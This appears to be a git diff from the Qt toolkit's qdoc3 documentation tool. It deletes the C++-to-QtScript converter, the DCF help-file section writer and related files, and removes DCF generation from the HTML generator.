This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - bookgenerator.h -*/ - -#ifndef BOOKGENERATOR_H -#define BOOKGENERATOR_H - -#include "generator.h" - -QT_BEGIN_NAMESPACE - -class BookGenerator : public Generator -{ -public: - BookGenerator(); - ~BookGenerator(); - - virtual void generateTree( const Tree *tree, CodeMarker *marker ); -}; - -QT_END_NAMESPACE - -#endif diff --git a/tools/qdoc3/cpptoqsconverter.cpp b/tools/qdoc3/cpptoqsconverter.cpp deleted file mode 100644 index 1a44c16..0000000 --- a/tools/qdoc3/cpptoqsconverter.cpp +++ /dev/null @@ -1,415 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - cpptoqsconverter.cpp -*/ - -#include "config.h" -#include "cpptoqsconverter.h" - -QT_BEGIN_NAMESPACE - -#define CONFIG_QUICK "quick" -#define CONFIG_INDENTSIZE "indentsize" - -void setTabSize( int size ); -void setIndentSize( int size ); -int columnForIndex( const QString& t, int index ); -int indentForBottomLine( const QStringList& program, QChar typedIn ); - -static QString balancedParens = "(?:[^()]+|\\([^()]*\\))*"; - -QRegExp CppToQsConverter::qClassRegExp; -QRegExp CppToQsConverter::addressOperatorRegExp; -QRegExp CppToQsConverter::gulbrandsenRegExp; -int CppToQsConverter::tabSize; - -ClassNode *CppToQsConverter::findClassNode( Tree *qsTree, - const QString& qtName ) -{ - ClassNode *classe = (ClassNode *) qsTree->findNode( QStringList(qtName), Node::Class ); - if ( classe == 0 ) - classe = (ClassNode *) qsTree->findNode( QStringList(qtName.mid(1)), Node::Class ); - return classe; -} - -QString CppToQsConverter::convertedDataType( Tree *qsTree, - const QString& leftType, - const QString& /* rightType */ ) -{ - QString s = leftType; - - if ( s.startsWith("const ") ) - s = s.mid( 6 ); - while ( s.endsWith("*") || s.endsWith("&") || s.endsWith(" ") ) - s.truncate( s.length() - 1 ); - - switch ( s[0].unicode() ) { - case 'Q': - if ( s == "QCString" ) { - return "String"; - } else { - Node *node = findClassNode( qsTree, s ); - if ( node == 0 ) { - return ""; - } else { - return node->name(); - } - } - break; - case 'b': - if ( s == "bool" ) - return "Boolean"; - break; - case 'c': - if ( s == "char" ) { - if ( leftType == "const char *" ) { - return "String"; - } else { - return "Number"; - } - } - break; - case 'd': - if ( s == "double" ) - return "Number"; - break; - case 'f': - if ( s == "float" ) - return "Number"; - case 'i': - if ( s == "int" ) - return "Number"; - break; - case 'l': - if ( s == "long" || s == "long int" || s == "long long" || - s == "long long int" || s == "long double" ) - return "Number"; - break; - case 's': - if ( s == "short" || s == "short int" || s == "signed char" || - s == "signed short" || s == "signed short int" || s == "signed" || - s == "signed int" || s == "signed long" || s == "signed long int" ) - return "Number"; - break; - case 'u': - if ( s == "uchar" || s == "unsigned" || s == "unsigned char" || - s == "ushort" || s == "unsigned short" || - s == "unsigned short int" || s == "uint" || s == "unsigned int" || - s == "ulong" || s == "unsigned long" || s == "unsigned long int" ) - return "Number"; - break; - case 'v': - if ( s == "void" ) - return ""; - } - return s; -} - -QString CppToQsConverter::convertedCode( Tree *qsTree, const QString& code, - const QSet& classesWithNoQ ) -{ - QString result; - QStringList program; - QStringList comments; - int programWidth = 0; - - QStringList originalLines = code.split("\n"); - QStringList::ConstIterator ol = originalLines.begin(); - while ( ol != originalLines.end() ) { - QString code = (*ol).trimmed(); - QString comment; - - int slashSlash = code.indexOf( "//" ); - if ( slashSlash != -1 ) { - comment = code.mid( slashSlash ); - code.truncate( slashSlash ); - code = code.trimmed(); - } - - code = convertCodeLine( qsTree, program, code, classesWithNoQ ); - program.append( code ); - - comment = convertComment( qsTree, comment, classesWithNoQ ); - comments.append( comment ); - - int n = indentForBottomLine( program, QChar::Null ); - for ( int i = 0; i < n; i++ ) - program.last().prepend( " " ); - - int width = columnForIndex( program.last(), program.last().length() ); - if ( !comment.isEmpty() && width > programWidth ) - programWidth = width; - ++ol; - } - - programWidth = ( (programWidth + (tabSize - 1) + 2) / tabSize ) * tabSize; - - QStringList::ConstIterator p = program.begin(); - QStringList::ConstIterator c = comments.begin(); - while ( c != comments.end() ) { - if ( c != comments.begin() ) - result += "\n"; - - if ( (*p).trimmed().isEmpty() ) { - if ( !(*c).isEmpty() ) - result += *p; - } else { - result += *p; - if ( !(*c).isEmpty() ) { - int i = columnForIndex( *p, (*p).length() ); - while ( i++ < programWidth ) - result += " "; - } - } - result += *c; - ++p; - ++c; - } - return result; -} - -void CppToQsConverter::initialize( const Config& config ) -{ - qClassRegExp.setPattern( "\\bQ([A-Z][A-Za-z]+)\\b" ); - addressOperatorRegExp.setPattern( "([(\\s])[*&]([a-zA-Z])" ); - gulbrandsenRegExp.setPattern( "\\b::\\b|->" ); - - tabSize = config.getInt( CONFIG_TABSIZE ); - setTabSize( tabSize ); - - int size = config.getInt( CONFIG_QUICK + Config::dot + CONFIG_INDENTSIZE ); - if ( size > 0 ) - setIndentSize( size ); -} - -void CppToQsConverter::terminate() -{ -} - -QString CppToQsConverter::convertCodeLine( Tree *qsTree, - const QStringList& program, - const QString& code, - const QSet& classesWithNoQ ) -{ - static QString dataTypeFmt = - "(?!return)(?:const\\b\\s*)?[A-Za-z_]+(?:\\s*[*&])?"; - static QRegExp funcPrototypeRegExp( - "(" + dataTypeFmt + ")\\s*\\b([A-Z][a-zA-Z_0-9]*::)?" - "([a-z][a-zA-Z_0-9]*)\\(([^);]*)(\\)?)(?:\\s*const)?" ); - static QRegExp paramRegExp( - "^\\s*(" + dataTypeFmt + ")\\s*\\b([a-z][a-zA-Z_0-9]*)\\s*(,)?\\s*" ); - static QRegExp uninitVarRegExp( - "(" + dataTypeFmt + ")\\s*\\b([a-z][a-zA-Z_0-9]*);" ); - static QRegExp eqVarRegExp( - dataTypeFmt + "\\s*\\b([a-z][a-zA-Z_0-9]*)\\s*=(\\s*)(.*)" ); - static QRegExp ctorVarRegExp( - "(" + dataTypeFmt + ")\\s*\\b([a-z][a-zA-Z_0-9]*)\\((.*)\\);" ); - static QRegExp qdebugRegExp( - "q(?:Debug|Warning|Fatal)\\(\\s*(\"(?:\\\\.|[^\"])*\")\\s*" - "(?:,\\s*(\\S(?:[^,]*\\S)?))?\\s*\\);" ); - static QRegExp coutRegExp( "c(?:out|err)\\b(.*);" ); - static QRegExp lshiftRegExp( "\\s*<<\\s*" ); - static QRegExp endlRegExp( "^endl$" ); - - if ( code.isEmpty() || code == "{" || code == "}" ) - return code; - - QString result; - - if ( funcPrototypeRegExp.exactMatch(code) ) { - QString returnType = funcPrototypeRegExp.cap( 1 ); - QString className = funcPrototypeRegExp.cap( 2 ); - QString funcName = funcPrototypeRegExp.cap( 3 ); - QString params = funcPrototypeRegExp.cap( 4 ).trimmed(); - bool toBeContinued = funcPrototypeRegExp.cap( 5 ).isEmpty(); - // ### unused - Q_UNUSED(toBeContinued); - - className.replace( "::", "." ); - - result = "function " + className + funcName + "("; - - if ( !params.isEmpty() && params != "void" ) { - result += " "; - int i = funcPrototypeRegExp.pos( 4 ); - while ( (i = paramRegExp.indexIn(code, i, - QRegExp::CaretAtOffset)) != -1 ) { - QString dataType = paramRegExp.cap( 1 ); - QString paramName = paramRegExp.cap( 2 ); - QString comma = paramRegExp.cap( 3 ); - - result += paramName + " : " + - convertedDataType( qsTree, dataType ); - if ( comma.isEmpty() ) - break; - result += ", "; - i += paramRegExp.matchedLength(); - } - result += " "; - } - - result += ")"; - returnType = convertedDataType( qsTree, returnType ); - if ( !returnType.isEmpty() ) - result += " : " + returnType; - } else if ( uninitVarRegExp.exactMatch(code) ) { - QString dataType = uninitVarRegExp.cap( 1 ); - QString varName = uninitVarRegExp.cap( 2 ); - - result = "var " + varName; - dataType = convertedDataType( qsTree, dataType ); - if ( !dataType.isEmpty() ) - result += " : " + dataType; - result += ";"; - } else if ( eqVarRegExp.exactMatch(code) ) { - QString varName = eqVarRegExp.cap( 1 ); - QString value = eqVarRegExp.cap( 3 ); - - value = convertExpr( qsTree, value, classesWithNoQ ); - result += "var " + varName + " = " + value; - } else if ( ctorVarRegExp.exactMatch(code) ) { - QString dataType = ctorVarRegExp.cap( 1 ); - QString varName = ctorVarRegExp.cap( 2 ); - QString value = ctorVarRegExp.cap( 3 ).trimmed(); - - result += "var " + varName + " = "; - - dataType = convertedDataType( qsTree, dataType ); - value = convertExpr( qsTree, value, classesWithNoQ ); - - if ( dataType.isEmpty() || dataType == "String" ) { - if ( value.contains(",") ) { - result += "..."; - } else { - result += value; - } - } else { - result += "new " + dataType; - if ( !value.isEmpty() ) - result += "( " + value + " )"; - } - result += ";"; - } else if ( qdebugRegExp.exactMatch(code) ) { - QString fmt = qdebugRegExp.cap( 1 ); - QString arg1 = qdebugRegExp.cap( 2 ); - - result += "println "; - int i = 0; - while ( i < (int) fmt.length() ) { - if ( fmt[i] == '%' ) { - int percent = i; - i++; - while ( i < (int) fmt.length() && - QString("diouxXeEfFgGaAcsCSpn%\"").indexOf(fmt[i]) == -1 ) - i++; - if ( fmt[i] == '%' ) { - result += fmt[i++]; - } else if ( fmt[i] != '"' ) { - if ( percent == 1 ) { - result.truncate( result.length() - 1 ); - } else { - result += "\" + "; - } - i++; - if ( arg1.endsWith(".latin1()") ) - arg1.truncate( arg1.length() - 9 ); - result += arg1; - if ( i == (int) fmt.length() - 1 ) { - i++; - } else { - result += " + \""; - } - } - } else { - result += fmt[i++]; - } - } - result += ";"; - } else if ( coutRegExp.exactMatch(code) && - program.filter("var cout").isEmpty() ) { - QStringList args = coutRegExp.cap(1).split(lshiftRegExp); - args.replaceInStrings( endlRegExp, "\"\\n\"" ); - if ( args.last() == "\"\\n\"" ) { - args.erase( args.end() - 1 ); - if ( args.isEmpty() ) - args << "\"\""; - result += "println "; - } else { - result += "print "; - } - result += args.join( " + " ) + ";"; - } else { - result = convertExpr( qsTree, code, classesWithNoQ ); - } - return result; -} - -QString CppToQsConverter::convertComment( Tree * /* qsTree */, - const QString& comment, - const QSet& classesWithNoQ ) - -{ - QString result = comment; - - result.replace( "TRUE", "true" ); - result.replace( "FALSE", "false" ); - result.replace( addressOperatorRegExp, "\\1\\2" ); - result.replace( gulbrandsenRegExp, "." ); - - int i = 0; - while ( (i = result.indexOf(qClassRegExp, i)) != -1 ) { - if ( classesWithNoQ.contains(qClassRegExp.cap(1)) ) - result.remove( i, 1 ); - i++; - } - return result; -} - -QString CppToQsConverter::convertExpr( Tree *qsTree, const QString& expr, - const QSet& classesWithNoQ ) -{ - // suboptimal - return convertComment( qsTree, expr, classesWithNoQ ); -} - -QT_END_NAMESPACE diff --git a/tools/qdoc3/cpptoqsconverter.h b/tools/qdoc3/cpptoqsconverter.h deleted file mode 100644 index 001091b..0000000 --- a/tools/qdoc3/cpptoqsconverter.h +++ /dev/null @@ -1,88 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - cpptoqsconverter.h -*/ - -#ifndef CPPTOQSCONVERTER_H -#define CPPTOQSCONVERTER_H - -#include - -#include "tree.h" - -QT_BEGIN_NAMESPACE - -class CppToQsConverter -{ -public: - CppToQsConverter() { } - - ClassNode *findClassNode( Tree *qsTree, const QString& qtName ); - QString convertedDataType( Tree *qsTree, const QString& leftType, - const QString& rightType = "" ); - QString convertedCode( Tree *qsTree, const QString& code, - const QSet& classesWithNoQ ); - - static void initialize( const Config& config ); - static void terminate(); - -private: - void clearState(); - QString convertCodeLine( Tree *qsTree, const QStringList& program, - const QString& code, - const QSet& classesWithNoQ ); - QString convertComment( Tree *qsTree, const QString& comment, - const QSet& classesWithNoQ ); - QString convertExpr( Tree *qsTree, const QString& expr, - const QSet& classesWithNoQ ); - void updateDelimDepths( const QString& code ); - - static QRegExp qClassRegExp; - static QRegExp addressOperatorRegExp; - static QRegExp gulbrandsenRegExp; - static int tabSize; -}; - -QT_END_NAMESPACE - -#endif diff --git a/tools/qdoc3/dcfsection.cpp b/tools/qdoc3/dcfsection.cpp deleted file mode 100644 index ea10dbf..0000000 --- a/tools/qdoc3/dcfsection.cpp +++ /dev/null @@ -1,111 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include -#include -#include - -#include "dcfsection.h" -#include "htmlgenerator.h" - -QT_BEGIN_NAMESPACE - -void appendDcfSubSection( DcfSection *dcfSect, const DcfSection& sub ) -{ - dcfSect->subsections.append( sub ); -} - -void appendDcfSubSections( DcfSection *dcfSect, const QList& subs ) -{ - dcfSect->subsections += subs; -} - -void generateDcfSubSections( QString indent, QTextStream& out, const DcfSection& sect ) -{ - QList::const_iterator ss = sect.subsections.constBegin(); - while ( ss != sect.subsections.constEnd() ) { - out << indent << "
    \n"; - } else { - out << ">\n"; - QString indentIndent = indent + " "; - QList >::const_iterator k = (*ss).keywords.constBegin(); - while ( k != (*ss).keywords.constEnd() ) { - out << indentIndent << "" - << HtmlGenerator::protect((*k).first) << "\n"; - ++k; - } - - generateDcfSubSections( indentIndent, out, *ss ); - out << indent << "
    \n"; - } - ++ss; - } - out.flush(); -} - -void generateDcfSections( const DcfSection& rootSect, const QString& fileName, - const QString& /* category */ ) -{ - QFile file(fileName); - if (!file.open(QFile::WriteOnly | QFile::Text)) - return ; - - QTextStream out(&file); - - QString icon = QFileInfo(fileName).baseName() + ".png"; - - out << "\n"; - out << "\n"; - - generateDcfSubSections( "", out, rootSect ); - - out << "\n"; - out.flush(); -} - -QT_END_NAMESPACE diff --git a/tools/qdoc3/dcfsection.h b/tools/qdoc3/dcfsection.h deleted file mode 100644 index 0318511..0000000 --- a/tools/qdoc3/dcfsection.h +++ /dev/null @@ -1,94 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef DCFSECTION_H -#define DCFSECTION_H - -#include -#include -#include - -QT_BEGIN_NAMESPACE - -class QTextStream; - -struct DcfSection -{ - QString title; - QString ref; - QList > keywords; - QList subsections; -}; - -inline bool operator<( const DcfSection& s1, const DcfSection& s2 ) { - QString title1 = s1.title; - QString title2 = s2.title; - - // cheat with Q3 classes - if (title1.startsWith("Q3")) - title1.insert(1, '~'); - if (title2.startsWith("Q3")) - title2.insert(1, '~'); - - int delta = title1.toLower().compare( title2.toLower() ); - if ( delta == 0 ) { - delta = title1.compare( title2 ); - if ( delta == 0 ) - delta = s1.ref.localeAwareCompare( s2.ref ); - } - return delta < 0; -} - -inline bool operator>( const DcfSection& s1, const DcfSection& s2 ) { return s2 < s1; } -inline bool operator<=( const DcfSection& s1, const DcfSection& s2 ) { return !( s2 < s1 ); } -inline bool operator>=( const DcfSection& s1, const DcfSection& s2 ) { return !( s1 < s2 ); } -inline bool operator==( const DcfSection& s1, const DcfSection& s2 ) { return &s1 == &s2; } -inline bool operator!=( const DcfSection& s1, const DcfSection& s2 ) { return !( s1 == s2 ); } - -void appendDcfSubSection(DcfSection *dcfSect, const DcfSection &sub); -void appendDcfSubSections(DcfSection *dcfSect, const QList &subs); -void generateDcfSubSections(QString indent, QTextStream &out, const DcfSection §); -void generateDcfSections(const DcfSection &rootSect, const QString& fileName, - const QString& category ); - -QT_END_NAMESPACE - -#endif diff --git a/tools/qdoc3/htmlgenerator.cpp b/tools/qdoc3/htmlgenerator.cpp index 3f35f76..0cd534e 100644 --- a/tools/qdoc3/htmlgenerator.cpp +++ b/tools/qdoc3/htmlgenerator.cpp @@ -355,7 +355,7 @@ QString HtmlGenerator::format() } /*! - This is where the HTML and DCF files are written. + This is where the HTML files are written. \note The HTML file generation is done in the base class, PageGenerator::generateTree(). */ @@ -380,43 +380,6 @@ void HtmlGenerator::generateTree(const Tree *tree, CodeMarker *marker) PageGenerator::generateTree(tree, marker); - dcfClassesRoot.ref = "classes.html"; - dcfClassesRoot.title = "Classes"; - qSort(dcfClassesRoot.subsections); - - dcfOverviewsRoot.ref = "overviews.html"; - dcfOverviewsRoot.title = "Overviews"; - qSort(dcfOverviewsRoot.subsections); - - dcfExamplesRoot.ref = "examples.html"; - dcfExamplesRoot.title = "Tutorial & Examples"; - qSort(dcfExamplesRoot.subsections); - - DcfSection qtRoot; - appendDcfSubSection(&qtRoot, dcfClassesRoot); - appendDcfSubSection(&qtRoot, dcfOverviewsRoot); - appendDcfSubSection(&qtRoot, dcfExamplesRoot); - - generateDcf(project.toLower().simplified().replace(" ", "-"), - "index.html", - projectDescription, qtRoot); - generateDcf("designer", - "designer-manual.html", - "Qt Designer Manual", - dcfDesignerRoot); - generateDcf("linguist", - "linguist-manual.html", - "Qt Linguist Manual", - dcfLinguistRoot); - generateDcf("assistant", - "assistant-manual.html", - "Qt Assistant Manual", - dcfAssistantRoot); - generateDcf("qmake", - "qmake-manual.html", - "qmake Manual", - dcfQmakeRoot); - QString fileBase = project.toLower().simplified().replace(" ", "-"); generateIndex(fileBase, projectUrl, projectDescription); generatePageIndex(outputDir() + "/" + fileBase + ".pageindex", marker); @@ -1253,11 +1216,6 @@ void HtmlGenerator::generateClassLikeNode(const InnerNode *inner, title = rawTitle + " Class Reference"; } - DcfSection classSection; - classSection.title = title; - classSection.ref = linkForNode(inner, 0); - classSection.keywords += qMakePair(inner->name(), classSection.ref); - Text subtitleText; if (rawTitle != fullTitle) subtitleText << "(" << Atom(Atom::AutoLink, fullTitle) << ")" @@ -1420,8 +1378,6 @@ void HtmlGenerator::generateClassLikeNode(const InnerNode *inner, names << plainCode(marker->markedUpEnumValue(enumName, enume)); } - foreach (const QString &name, names) - classSection.keywords += qMakePair(name,linkForNode(*m,0)); } ++m; } @@ -1430,27 +1386,6 @@ void HtmlGenerator::generateClassLikeNode(const InnerNode *inner, ++s; } generateFooter(inner); - - if (!membersLink.isEmpty()) { - DcfSection membersSection; - membersSection.title = "List of all members"; - membersSection.ref = membersLink; - appendDcfSubSection(&classSection, membersSection); - } - if (!obsoleteLink.isEmpty()) { - DcfSection obsoleteSection; - obsoleteSection.title = "Obsolete members"; - obsoleteSection.ref = obsoleteLink; - appendDcfSubSection(&classSection, obsoleteSection); - } - if (!compatLink.isEmpty()) { - DcfSection compatSection; - compatSection.title = "Qt 3 support members"; - compatSection.ref = compatLink; - appendDcfSubSection(&classSection, compatSection); - } - - appendDcfSubSection(&dcfClassesRoot, classSection); } /*! @@ -1460,9 +1395,6 @@ void HtmlGenerator::generateClassLikeNode(const InnerNode *inner, void HtmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker) { SubTitleSize subTitleSize = LargeSubTitle; - DcfSection fakeSection; - fakeSection.title = fake->fullTitle(); - fakeSection.ref = linkForNode(fake, 0); QList
    sections; QList
    ::const_iterator s; @@ -1542,25 +1474,6 @@ void HtmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker) << "Qt 3 support members\n"; out() << "\n"; - - if (!membersLink.isEmpty()) { - DcfSection membersSection; - membersSection.title = "List of all members"; - membersSection.ref = membersLink; - appendDcfSubSection(&fakeSection, membersSection); - } - if (!obsoleteLink.isEmpty()) { - DcfSection obsoleteSection; - obsoleteSection.title = "Obsolete members"; - obsoleteSection.ref = obsoleteLink; - appendDcfSubSection(&fakeSection, obsoleteSection); - } - if (!compatLink.isEmpty()) { - DcfSection compatSection; - compatSection.title = "Qt 3 support members"; - compatSection.ref = compatLink; - appendDcfSubSection(&fakeSection, compatSection); - } } #ifdef QDOC_QML else if (fake->subType() == Node::QmlClass) { @@ -1603,8 +1516,6 @@ void HtmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker) while (m != (*s).members.end()) { generateDetailedQmlMember(*m, fake, marker); out() << "
    \n"; - fakeSection.keywords += qMakePair((*m)->name(), - linkForNode(*m,0)); ++m; } ++s; @@ -1649,8 +1560,6 @@ void HtmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker) generateAnnotatedList(fake, marker, groupMembersMap); } - fakeSection.keywords += qMakePair(fakeSection.title, fakeSection.ref); - sections = marker->sections(fake, CodeMarker::Detailed, CodeMarker::Okay); s = sections.begin(); while (s != sections.end()) { @@ -1660,35 +1569,11 @@ void HtmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker) NodeList::ConstIterator m = (*s).members.begin(); while (m != (*s).members.end()) { generateDetailedMember(*m, fake, marker); - fakeSection.keywords += qMakePair((*m)->name(), linkForNode(*m, 0)); ++m; } ++s; } generateFooter(fake); - - if (fake->subType() == Node::Example) { - appendDcfSubSection(&dcfExamplesRoot, fakeSection); - } - else if (fake->subType() != Node::File) { - QString contentsPage = fake->links().value(Node::ContentsLink).first; - - if (contentsPage == "Qt Designer Manual") { - appendDcfSubSection(&dcfDesignerRoot, fakeSection); - } - else if (contentsPage == "Qt Linguist Manual") { - appendDcfSubSection(&dcfLinguistRoot, fakeSection); - } - else if (contentsPage == "Qt Assistant Manual") { - appendDcfSubSection(&dcfAssistantRoot, fakeSection); - } - else if (contentsPage == "qmake Manual") { - appendDcfSubSection(&dcfQmakeRoot, fakeSection); - } - else { - appendDcfSubSection(&dcfOverviewsRoot, fakeSection); - } - } } /*! @@ -3464,10 +3349,7 @@ QString HtmlGenerator::linkForNode(const Node *node, const Node *relative) fn = fileName(node); /* if (!node->url().isEmpty()) return fn;*/ -#if 0 - // ### reintroduce this test, without breaking .dcf files - if (fn != outFileName()) -#endif + link += fn; if (!node->isInnerNode() || node->subType() == Node::QmlPropertyGroup) { @@ -3959,16 +3841,6 @@ QString HtmlGenerator::getLink(const Atom *atom, return link; } -void HtmlGenerator::generateDcf(const QString &fileBase, - const QString &startPage, - const QString &title, - DcfSection &dcfRoot) -{ - dcfRoot.ref = startPage; - dcfRoot.title = title; - generateDcfSections(dcfRoot, outputDir() + "/" + fileBase + ".dcf", fileBase + "/reference"); -} - void HtmlGenerator::generateIndex(const QString &fileBase, const QString &url, const QString &title) diff --git a/tools/qdoc3/htmlgenerator.h b/tools/qdoc3/htmlgenerator.h index 1b3de9e..c0a4ce8 100644 --- a/tools/qdoc3/htmlgenerator.h +++ b/tools/qdoc3/htmlgenerator.h @@ -52,7 +52,6 @@ #include "codemarker.h" #include "config.h" -#include "dcfsection.h" #include "pagegenerator.h" QT_BEGIN_NAMESPACE @@ -253,9 +252,6 @@ class HtmlGenerator : public PageGenerator const Node *relative, CodeMarker *marker, const Node** node); - virtual void generateDcf(const QString &fileBase, - const QString &startPage, - const QString &title, DcfSection &dcfRoot); virtual void generateIndex(const QString &fileBase, const QString &url, const QString &title); @@ -282,13 +278,6 @@ class HtmlGenerator : public PageGenerator #endif QMap refMap; int codeIndent; - DcfSection dcfClassesRoot; - DcfSection dcfOverviewsRoot; - DcfSection dcfExamplesRoot; - DcfSection dcfDesignerRoot; - DcfSection dcfLinguistRoot; - DcfSection dcfAssistantRoot; - DcfSection dcfQmakeRoot; HelpProjectWriter *helpProjectWriter; bool inLink; bool inObsoleteLink; diff --git a/tools/qdoc3/jambiapiparser.cpp b/tools/qdoc3/jambiapiparser.cpp deleted file mode 100644 index 23f2716..0000000 --- a/tools/qdoc3/jambiapiparser.cpp +++ /dev/null @@ -1,546 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - jambiapiparser.cpp -*/ - -#include "cppcodeparser.h" -#include "jambiapiparser.h" -#include "node.h" -#include "tree.h" - -QT_BEGIN_NAMESPACE - -static const char USED_INTERNALLY[] = ""; - -static Text textWithFixedBrief(const Text &text, const Text &beforeBrief, - const Text &afterBrief) -{ - Text result; - - const Atom *atom = text.firstAtom(); - while (atom) { - if (atom->type() == Atom::BriefLeft) { - result << Atom::ParaLeft << beforeBrief; - } else if (atom->type() == Atom::BriefRight) { - result << afterBrief << Atom::ParaRight; - } else { - result << *atom; - } - atom = atom->next(); - } - - return result; -} - -static void setPass1JambifiedDoc(Node *javaNode, const Node *cppNode, const QString &qName = "") -{ - Doc newDoc(cppNode->doc()); - - if (javaNode->type() == Node::Function) { - const FunctionNode *javaFunc = static_cast(javaNode); - if (cppNode->type() == Node::Function) { - const 